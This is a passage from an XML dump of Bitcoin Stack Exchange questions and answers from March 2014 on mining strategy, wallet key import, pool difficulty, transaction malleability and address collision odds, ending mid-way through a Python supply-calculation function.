of &lt;strong&gt;double spend&lt;/strong&gt; attacks as well as the selfish miner's strategy utilize this. For a more comprehensive analysis you can look at this paper &lt;a href=&quot;http://arxiv.org/pdf/1402.4233v1.pdf&quot; rel=&quot;nofollow&quot;&gt;On the Phase Space of Block-Hiding Strategies in Bitcoin-like networks&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second strategy becomes beneficial only when the miner has a sizable hashing power (around 1/3) or is central enough to have many miners work on it's block in case of a tie with the rest of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the TLDR is: &lt;strong&gt;centralization is bad&lt;/strong&gt;. Once a miner becomes too big he can, in principle, abuse his power to get more than his relative share. &lt;/p&gt;&#xA;" OwnerUserId="5960" LastActivityDate="2014-03-27T06:57:07.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24026" PostTypeId="2" ParentId="24024" CreationDate="2014-03-27T07:14:16.520" Score="1" Body="&lt;p&gt;You're confusing Ripplecoin, which &lt;a href=&quot;https://github.com/1033326265/litecoin&quot; rel=&quot;nofollow&quot;&gt;appears to be a defunct altcoin&lt;/a&gt;, with the &lt;a href=&quot;https://ripple.com/&quot; rel=&quot;nofollow&quot;&gt;Ripple network&lt;/a&gt;, which is another beast entirely.&lt;/p&gt;&#xA;" OwnerUserId="14383" LastActivityDate="2014-03-27T07:14:16.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24027" PostTypeId="2" ParentId="12364" CreationDate="2014-03-27T07:22:45.580" Score="3" Body="&lt;p&gt;Since Mt. Gox is down and the market is split, I would suggest using &lt;a href=&quot;https://blockchain.info/api/exchange_rates_api&quot; rel=&quot;nofollow&quot;&gt;blockchain.info's API&lt;/a&gt;. I believe they combine different current market prices to make one average price. This is much more reliable than trusting one market only (see what happened to Mt. Gox). Also &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; is a generally well trusted site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To load the information in PHP use the &lt;code&gt;file_get_contents()&lt;/code&gt; and &lt;code&gt;json_decode()&lt;/code&gt; functions. Most of these functions are available in other high-end programming languages.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2014-03-30T10:29:40.100" LastActivityDate="2014-03-30T10:29:40.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24028" PostTypeId="1" AcceptedAnswerId="24551" CreationDate="2014-03-27T07:31:21.270" Score="0" ViewCount="5522" Body="&lt;p&gt;I am a gamer who simply uses his rig to mine when idle. A year ago I was getting 0.5 Ghs using a &lt;a href=&quot;http://www.sapphiretech.com/presentation/product/product_index.aspx?pid=1463&amp;amp;lid=1&quot; rel=&quot;nofollow&quot;&gt;Radeon HD7970 3072MB 384bit OC Boost&lt;/a&gt;, then due to a technical issue I stopped mining for a few months and eventually replaced the Radeon with &lt;a href=&quot;http://www.gigabyte.com/products/product-page.aspx?pid=4629&quot; rel=&quot;nofollow&quot;&gt;GeForce GTX770 4096MB 256bit OC&lt;/a&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On which I am currently getting a consistent 126Mhs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What follows may be a dumb question, but did anything change (eg some network property), that would explain a much lower hashrate on a better card? Or is there something wrong with my setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using: BTCGuild and BitMinter, GUIMiner, Win7&lt;/p&gt;&#xA;" OwnerUserId="1668" LastEditorUserId="1668" LastEditDate="2014-03-27T08:06:11.913" LastActivityDate="2014-05-24T05:04:31.927" Title="Difference in hashrate between two GPUs" Tags="|gpu|performance|hashpower|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24030" PostTypeId="5" CreationDate="2014-03-27T10:51:05.497" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-27T10:51:05.497" LastActivityDate="2014-03-27T10:51:05.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24031" PostTypeId="4" CreationDate="2014-03-27T10:51:05.497" Score="0" Body="refers to observing the balance of addresses only by address not by public key." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-27T10:51:05.497" LastActivityDate="2014-03-27T10:51:05.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24032" PostTypeId="1" CreationDate="2014-03-27T10:52:03.980" Score="2" ViewCount="234" Body="&lt;p&gt;Like a year ago, I got a some bitcoins. I was using Bitcoin-Qt back then. Because reading the whole blockchain since then takes a lot of time, I got MultiBit, created a new wallet and imported my private keys from Bitcoin-Qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that MultiBit only goes back a few days (looks like one day before I created my wallet in MultiBit) to replay the blockchain. So the balance shown is wrong. The function &quot;Reset Blockchain and Transactions&quot; doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it go one year back and then replay the blockchain? At least I think that's what I need, I just don't know how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help. Yes, I have imported them all. I've just reset again. I see that MultiBit goes back to November 2013 and starts replaying the blockchain from there. But that's just too late. It should go back to January 2013 instead. I just double checked one of the receiving addresses on blockchain.info. The transaction took place on 16th of January 2013 and the money from that address hasn't been spent yet.&lt;/p&gt;&#xA;" OwnerUserId="14862" LastEditorUserId="14862" LastEditDate="2014-03-27T11:40:20.497" LastActivityDate="2014-12-22T19:41:43.473" Title="How can I make MultiBit go one year back and then replay the blockchain?" Tags="|multibit|balance|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24033" PostTypeId="5" CreationDate="2014-03-27T10:55:18.253" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-27T10:55:18.253" LastActivityDate="2014-03-27T10:55:18.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24034" PostTypeId="4" CreationDate="2014-03-27T10:55:18.253" Score="0" Body="X11 uses 11 well known and high performing hashing solutions chained together to generate the hashes required to generate new blocks." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-27T10:55:18.253" LastActivityDate="2014-03-27T10:55:18.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24035" PostTypeId="5" CreationDate="2014-03-27T11:28:16.117" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-27T11:28:16.117" LastActivityDate="2014-03-27T11:28:16.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24036" PostTypeId="4" CreationDate="2014-03-27T11:28:16.117" Score="0" Body="Collecting questions about finding work/working in the Bitcoin industry, and being paid in Bitcoin." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-27T11:28:16.117" LastActivityDate="2014-03-27T11:28:16.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24038" PostTypeId="5" CreationDate="2014-03-27T12:29:45.083" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-27T12:29:45.083" LastActivityDate="2014-03-27T12:29:45.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24039" PostTypeId="4" CreationDate="2014-03-27T12:29:45.083" Score="0" Body="refers to Simplified Payment Verification, a scheme by which thin clients can check whether the network trusts a transaction." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-27T12:29:45.083" LastActivityDate="2014-03-27T12:29:45.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24040" PostTypeId="1" CreationDate="2014-03-27T12:50:45.297" Score="2" ViewCount="778" Body="&lt;p&gt;I was wondering if there are ways to automate / mass private key import into the bitcoin client. Anyone knows of a command or has a script or an idea to share?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks. &lt;/p&gt;&#xA;" OwnerUserId="14863" LastActivityDate="2014-07-01T22:53:01.707" Title="How to import say 1million bitcoin privkeys in bitcoind / bitcoin-qt?" Tags="|private-key|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24041" PostTypeId="2" ParentId="24023" CreationDate="2014-03-27T13:14:30.040" Score="0" Body="&lt;p&gt;As others have stated, doing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin-Qt -rescan&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;fixed the missing transaction.&lt;/p&gt;&#xA;" OwnerUserId="12083" LastActivityDate="2014-03-27T13:14:30.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24042" PostTypeId="2" ParentId="23996" CreationDate="2014-03-27T13:39:24.600" Score="1" Body="&lt;p&gt;Your premise is wrong. The work required to download and validate the blockchain has nothing at all to do with the work required to mine it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the block hash goes, validating it requires just one hash while mining the block requires quintillions of hash calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Validating the block also requires computing the hashes of the Merkle tree but the main work is validating ECDSA signatures. Your method is not going to help with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(On a meta note, it's rude to offer &quot;improvements&quot; when you don't understand well enough what currently exists.)&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-03-27T13:39:24.600" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24045" PostTypeId="2" ParentId="24032" CreationDate="2014-03-27T14:58:18.803" Score="1" Body="&lt;p&gt;When you import private keys, you specify a replay date for each private key. This should be before the earliest transaction involving that address. In your case, it appears that this is not the case. (Or maybe you just need to reset again - their site says it might take &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_support_balanceIsIncorrect.html&quot; rel=&quot;nofollow&quot;&gt;up to 3 resets&lt;/a&gt; for the balance to be corrected.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_importASingleKey.html&quot; rel=&quot;nofollow&quot;&gt;reimport your private key&lt;/a&gt; with the correct date specified to have the balance appear. Note that having your private key(s) in plaintext on your hard drive makes them an easier target for attackers. To be most secure, you should consider those keys &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_support_balanceIsIncorrect.html&quot; rel=&quot;nofollow&quot;&gt;compromised&lt;/a&gt; afterwards: &lt;a href=&quot;http://www.howtogeek.com/72130/learn-how-to-securely-delete-files-in-windows/&quot; rel=&quot;nofollow&quot;&gt;securely delete&lt;/a&gt; the file when you're done with it, and transfer the coins to a new address and avoid using those old addresses again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way of transferring the balance is to send it from your out-of-date Bitcoin-QT wallet to an address generated by MultiBit. I'm not sure if that's complicated, &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_set_up_a_secure_offline_savings_wallet&quot; rel=&quot;nofollow&quot;&gt;the wiki&lt;/a&gt; makes it appear simple.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-03-27T14:58:18.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24046" PostTypeId="1" CreationDate="2014-03-27T15:20:45.317" Score="0" ViewCount="280" Body="&lt;p&gt;The price spikes every hour, on the 26 minute mark:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinaverage.com/charts.htm#USD-averages-1d&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcoinaverage.com/charts.htm#USD-averages-1d&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Although it seems like spikes do not show up for some people/browswers.  Her is what I see: imgur.com/aKYaDvX )&lt;/p&gt;&#xA;" OwnerUserId="12311" LastEditorUserId="12311" LastEditDate="2014-03-27T16:58:23.300" LastActivityDate="2014-03-27T17:57:40.133" Title="What could be causing hourly bitcoin price spikes?" Tags="|trading|exchange-rate|market|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24048" PostTypeId="1" AcceptedAnswerId="24055" CreationDate="2014-03-27T16:38:12.403" Score="5" ViewCount="169" Body="&lt;p&gt;What are the main principles and/or patterns programmers must apply to their code in order to make their programs bulletproof towards transaction malleability attacks?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="5406" LastEditDate="2014-05-25T10:11:55.580" LastActivityDate="2014-05-25T10:11:55.580" Title="Anti-Transaction malleability patterns" Tags="|transaction-malleability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24049" PostTypeId="2" ParentId="24046" CreationDate="2014-03-27T16:44:46.987" Score="1" Body="&lt;p&gt;Someone could have programmed a bot to place buy-orders every hour based on a some historical price average, say over the last 24 hours.      &lt;/p&gt;&#xA;" OwnerUserId="12311" LastActivityDate="2014-03-27T16:44:46.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24050" PostTypeId="2" ParentId="23996" CreationDate="2014-03-27T16:57:14.423" Score="1" Body="&lt;p&gt;Downloading the blockchain is several orders of magnitude &lt;em&gt;easier&lt;/em&gt; than mining. Validating is just taking the blocks, hashing them and verifying that the proposed solution a) matches such hash and b) at the specified difficulty level. If a received block passes these validations, it's accepted as valid an the next one is requested, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per comparison, downloading a movie or software implies no validation until the very end, when you check the archive is not corrupted. In case it indeed is, you have to download the whole big mess again .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you correctly assume, most of the time is spent in verifying blocks. That's why even if a friend lends you a DVD with the blockchain, loading it for the 1st time won't be instantaneous but will take (depending on your PC's speed) from half an hour to several hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your idea of creating a &quot;resume&quot; block at the end of the day (why not weekly/monthly/annually as well?) looks promising, I've heard of no coin implementing any such idea. It's not without potential problems, but it could be.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-03-27T16:57:14.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24052" PostTypeId="2" ParentId="24019" CreationDate="2014-03-27T17:12:13.393" Score="0" Body="&lt;p&gt;diff1 for X11 is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x00000000ffff0000000000000000000000000000000000000000000000000000&lt;/p&gt;&#xA;" OwnerUserId="14867" LastActivityDate="2014-03-27T17:12:13.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24053" PostTypeId="5" CreationDate="2014-03-27T17:15:41.370" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-27T17:15:41.370" LastActivityDate="2014-03-27T17:15:41.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24054" PostTypeId="4" CreationDate="2014-03-27T17:15:41.370" Score="0" Body="refers specifically to the construct used for separately grouping addresses in one wallet in client software such as Bitcoin Core and its derivatives. Please DO NOT USE it on questions asking about accounts on other services." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-27T17:15:41.370" LastActivityDate="2014-03-27T17:15:41.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24055" PostTypeId="2" ParentId="24048" CreationDate="2014-03-27T17:28:25.573" Score="2" Body="&lt;p&gt;Use two tables for deposits basically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;insert deposits into one table with a unique hash. store sighash and txid with a unique hash and timestamp in the other. when the txid changes, you update the second table, preventing the duplicate deposit.&lt;/p&gt;&#xA;" OwnerUserId="12447" LastActivityDate="2014-03-27T17:28:25.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24057" PostTypeId="2" ParentId="24046" CreationDate="2014-03-27T17:57:40.133" Score="1" Body="&lt;p&gt;It could be someone buying a fixed number of coins every hour at market price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The height of the spike would depend on the market depth at the time.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2014-03-27T17:57:40.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24058" PostTypeId="5" CreationDate="2014-03-27T17:59:00.007" Score="0" Body="&lt;p&gt;Alternative cryptocurrencies are cryptocurrencies that are not Bitcoin. Altcoins typically use a blockchain similar to that of Bitcoin. Many use a similar Proof of Work scheme but with different algorithms. Others use Proof of Stake or some hybrid between PoW and PoS.&lt;/p&gt;&#xA;&lt;p&gt;This tag should be used for questions that pertain to many cryptocurrencies, including Bitcoin. These can be generic questions about how things like PoW or PoS work. Questions about a specific altcoin should not be under this tag.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2023-01-11T19:50:50.463" LastActivityDate="2023-01-11T19:50:50.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24059" PostTypeId="4" CreationDate="2014-03-27T17:59:00.007" Score="0" Body="Alternative cryptocurrencies are OFF-TOPIC unless the question is applicable to Bitcoin." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2023-01-11T19:50:50.463" LastActivityDate="2023-01-11T19:50:50.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24060" PostTypeId="5" CreationDate="2014-03-27T18:06:48.727" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-27T18:06:48.727" LastActivityDate="2014-03-27T18:06:48.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24061" PostTypeId="4" CreationDate="2014-03-27T18:06:48.727" Score="0" Body="refers to questions about Distributed Denial of Service attacks on crypto-currency networks or services." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-27T18:06:48.727" LastActivityDate="2014-03-27T18:06:48.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24062" PostTypeId="1" AcceptedAnswerId="24063" CreationDate="2014-03-27T18:20:01.270" Score="0" ViewCount="103" Body="&lt;p&gt;I have used original bitcoin client for first time. When I opened it showed the account balance is 1,000.0. Why is this bonus of 1 btc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my friend tried opening client but his account balance is 0. How he can apply bonus?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much is my balance in €?&lt;/p&gt;&#xA;" OwnerUserId="14868" LastEditorUserId="57077" LastEditDate="2018-09-15T17:36:57.243" LastActivityDate="2018-09-15T17:36:57.243" Title="Bonus for my friend" Tags="|bitcoin-core|value|" AnswerCount="1" CommentCount="1" ClosedDate="2018-09-22T19:48:20.450" ContentLicense="CC BY-SA 4.0" />
  <row Id="24063" PostTypeId="2" ParentId="24062" CreationDate="2014-03-27T18:47:12.410" Score="1" Body="&lt;p&gt;There is no bonus. There's no way to know what exactly happened to you without sharing screenshots and the relevant Bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-03-27T18:47:12.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24066" PostTypeId="1" AcceptedAnswerId="24068" CreationDate="2014-03-27T20:38:56.060" Score="-1" ViewCount="540" Body="&lt;p&gt;What are the correct difficulty ssettings to mine darkcoin on a private pool node (pool side settings as shown below)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;diff&quot;: 0   &#xA;&quot;minDiff&quot;: 0&#xA;&quot;maxDiff&quot;: 0&#xA;&quot;targetTime&quot;: 0&#xA;&quot;retargetTime&quot;: 0&#xA;&quot;variancePercent&quot;: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2014-04-26T21:18:57.083" Title="What are the pool node mining difficulty settings for darkcoin?" Tags="|mining-pools|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24067" PostTypeId="2" ParentId="22384" CreationDate="2014-03-27T21:11:44.917" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://research.microsoft.com/apps/pubs/?id=156072&quot; rel=&quot;nofollow&quot;&gt;On Bitcoin and Red Balloons&lt;/a&gt; suggests a method to incentivize network nodes, however no cryptocurrency implements it.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-03-27T21:11:44.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24068" PostTypeId="2" ParentId="24066" CreationDate="2014-03-27T21:16:49.240" Score="0" Body="&lt;p&gt;Credits to  CryptoSiD&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;diff&quot;: 0.00390625,&#xA;&quot;varDiff&quot;: {&#xA;&quot;minDiff&quot;: 0.00390625,&#xA;&quot;maxDiff&quot;: 0.0078125,&#xA;&quot;targetTime&quot;: 15,&#xA;&quot;retargetTime&quot;: 150,&#xA;&quot;variancePercent&quot;: 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2014-03-27T21:16:49.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24070" PostTypeId="2" ParentId="22" CreationDate="2014-03-27T21:30:52.150" Score="4" Body="&lt;p&gt;If you prefer diagrams: &lt;a href=&quot;https://i.stack.imgur.com/VWwJq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/VWwJq.png&lt;/a&gt; (there are more addresses in the address space than there are zeptometres, 1/1 000 000 000 000 000 000 of a metre, in the universe's width).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you prefer maths: &lt;a href=&quot;http://download.wpsoftware.net/bitcoin-birthday.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://download.wpsoftware.net/bitcoin-birthday.pdf&lt;/a&gt; (by &lt;a href=&quot;http://www.wpsoftware.net/andrew/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Andrew Poelstra&lt;/a&gt;) says (slightly edited):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Using [birthday attack maths], we calculated [above] that for a 0.1% probability of collision, we would need 5.4 × 10^22 addresses in existence. For a 99.9999% chance, we would need 6.35 × 10^24 addresses.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So, even if there were 10^22 bitcoin addresses generated, a collision simply will not happen.  But if there were 10^25 addresses generated, a collision absolutely would happen.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Should we worry about this?  No, for these independent reasons:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;The chance of getting a specific collision, say, a collision with one of your addresses, is still 1 in 2^160 or 1 in 10^48 . So even if you've got a million million million addresses, nobody has a chance of colliding with you.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;At the time of this writing, there are less than 10^7 addresses in use in the network.  So anyone with 10^25 addresses would only be colliding their own addresses.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Each address takes around 100 bytes to store. (Actually about half that, but we only care about orders of magnitude.) So for the network to support 10^25 addresses, it would take 10 million million terabytes of storage just to record them.  (And this is not even touching the problem of &lt;em&gt;searching&lt;/em&gt; such a huge data store.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;According to sipa, if the current mining network (which is at 25 THash, and the most powerful computing network in the history of the world) were switched over to address generation, the network could generate 2.5 × 10^12 addresses per second (one address generation corresponding to roughly 10 hashes). At that rate, it would take 127,000 years to get so many addresses. It is debatable whether homo sapiens has walked the earth for that long.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;With 21 million bitcoins ever existing, and 8 decimal places of divisibility, at most 2.1 × 10^14 can possibly have money on them at once.  But in a space of 10^24 addresses, this means that only one in 10^12 addresses could possibly have money on them. So an attacker, after doing the physically impossible 3 trillion times over, has only a one in a trillion chance of getting even one satoshi out of it.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13336" LastActivityDate="2014-03-27T21:30:52.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24071" PostTypeId="2" ParentId="3718" CreationDate="2014-03-27T22:48:04.617" Score="3" Body="&lt;p&gt;Multisig have lots of uses, wallet sharing, increased security and escrow to say the first that come to mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increased security: 2FA purposes or even help provide services like double spend prevention and instant confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to try an open source wallet with all these features in action try &lt;a href=&quot;https://greenaddress.it&quot; rel=&quot;nofollow&quot;&gt;https://greenaddress.it&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to smoothly create P2SH Multisig transaction but with a simple intuitive interface that hides all the complexity.&lt;/p&gt;&#xA;" OwnerUserId="14871" LastActivityDate="2014-03-27T22:48:04.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24072" PostTypeId="2" ParentId="24013" CreationDate="2014-03-27T23:03:15.953" Score="1" Body="&lt;p&gt;First of all, please be careful with using the terminology &quot;network difficulty.&quot; Network difficulty is the difficulty at which a hash is accepted by the network (as opposed to the pool). Technically speaking, if d is the network difficulty, then your probability of finding a valid hash is &lt;code&gt;1/(d*2^32)&lt;/code&gt;. If your question is interpreted literally, then the answer is trivially yes, since no pool would do such a thing. If everyone submits shares at the network difficulty, then the only share submitted is the one that solves the block, which means that the block finder gets the entire block reward, negating the reason people use pools (to reduce variance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guessing you're actually asking the following: Can mining pools give everyone a different difficulty?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is yes. Basically, I might be mining at a difficulty of 16, and you could be mining at a difficulty of 32. If we have the same hashrate, then I would be finding shares twice as often as you, but your shares are worth twice as much. In the end, it all evens out. Mining at a lower difficulty reduces variance, but for miners with a large hashrate, their variance is already low enough that they can afford to mine at a higher difficulty, and they generally do so to reduce the stratum load (since they must communicate with the pool every time they submit a share).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways a pool could implement different difficulties. One is to have a setting on the pool website that you can adjust on your workers page. Another is to have multiple strata, each with a different difficulty. Yet another (which could be used in combination with the previous technique) is called vardiff, where the pool adjusts the difficulty to an optimal level in response to its estimate of your hashrate. Note that adjustment of share difficulty must be done at the pool level; there is no way to tell cgminer to choose a certain difficulty. (Even if you could, trying to submit a share at a difficulty lower than the pool wants will end up getting rejected, and only submitting those shares at a difficulty higher than the pool specifies will not get any bonus points for the extra difficulty.)&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-27T23:03:15.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24073" PostTypeId="1" CreationDate="2014-03-27T23:17:04.933" Score="1" ViewCount="393" Body="&lt;p&gt;I'm running a Bitcoin blog and I'd love to display a ticket of the total amount of Bitcoins in existence. Unfortunately, I'm not sure where I can find a JSON feed for this (now that MTGOX is gone). Is there something like this I can utilize?&lt;/p&gt;&#xA;" OwnerUserId="14110" LastActivityDate="2014-03-27T23:58:15.330" Title="How can I find out how much bitcoin is in existence with PHP?" Tags="|development|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24074" PostTypeId="2" ParentId="10785" CreationDate="2014-03-27T23:22:12.500" Score="1" Body="&lt;p&gt;First of all, actual difficulty is defined as the number &lt;code&gt;d&lt;/code&gt; such that the probability of a random hash being valid is &lt;code&gt;1/(d*2^32)&lt;/code&gt;. In other words, the hash needs to have at least &lt;code&gt;32 + log_2(d)&lt;/code&gt; zeros in front of it to be valid. (This is not exactly the case if &lt;code&gt;d&lt;/code&gt; is not a power of 2, but you get the general idea.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that article, a difficulty of &lt;code&gt;2^-12&lt;/code&gt; means that the probability of a random share being valid is &lt;code&gt;1/(2^-12 * 2^32) = 2^-20&lt;/code&gt;. Note that typically, pool difficulty, is measured in multiples of &lt;code&gt;2^-16&lt;/code&gt; for reasons discussed in the article, so a difficulty of &lt;code&gt;2^-12&lt;/code&gt; would be a pool difficulty of &lt;code&gt;2^4 = 16&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-27T23:22:12.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24075" PostTypeId="2" ParentId="24073" CreationDate="2014-03-27T23:34:40.747" Score="2" Body="&lt;p&gt;The number of bitcoins in existence at any given time is predictable in advance. To get an approximate number, you just need to look it up in a table based on today's date. The Bitcoin wiki has one at &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot; rel=&quot;nofollow&quot;&gt;Controlled supply&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the precise number of mined bitcoins at any given moment, you would take the current block height (available from any of a number of different places) and apply a fixed formula to get the current total number of rewards claimed so far. This number would be exact because there is no possibility of varying from the predetermined reward schedule (and there is no other way of conjuring bitcoins into existence other than mining).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is a simple Python function which calculates the total bitcoins in existence at any time given the block height. It should be straightforward to translate to PHP.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def total_bitcoins(height):&#xA;    total = 0&#xA;    reward = 50&#xA;    while height &amp;gt;= 210000:&#xA;        total += reward * 210000&#xA;        height -= 210000&#xA;        reward /= 2&#xA;    total += reward * height&#xA;    return 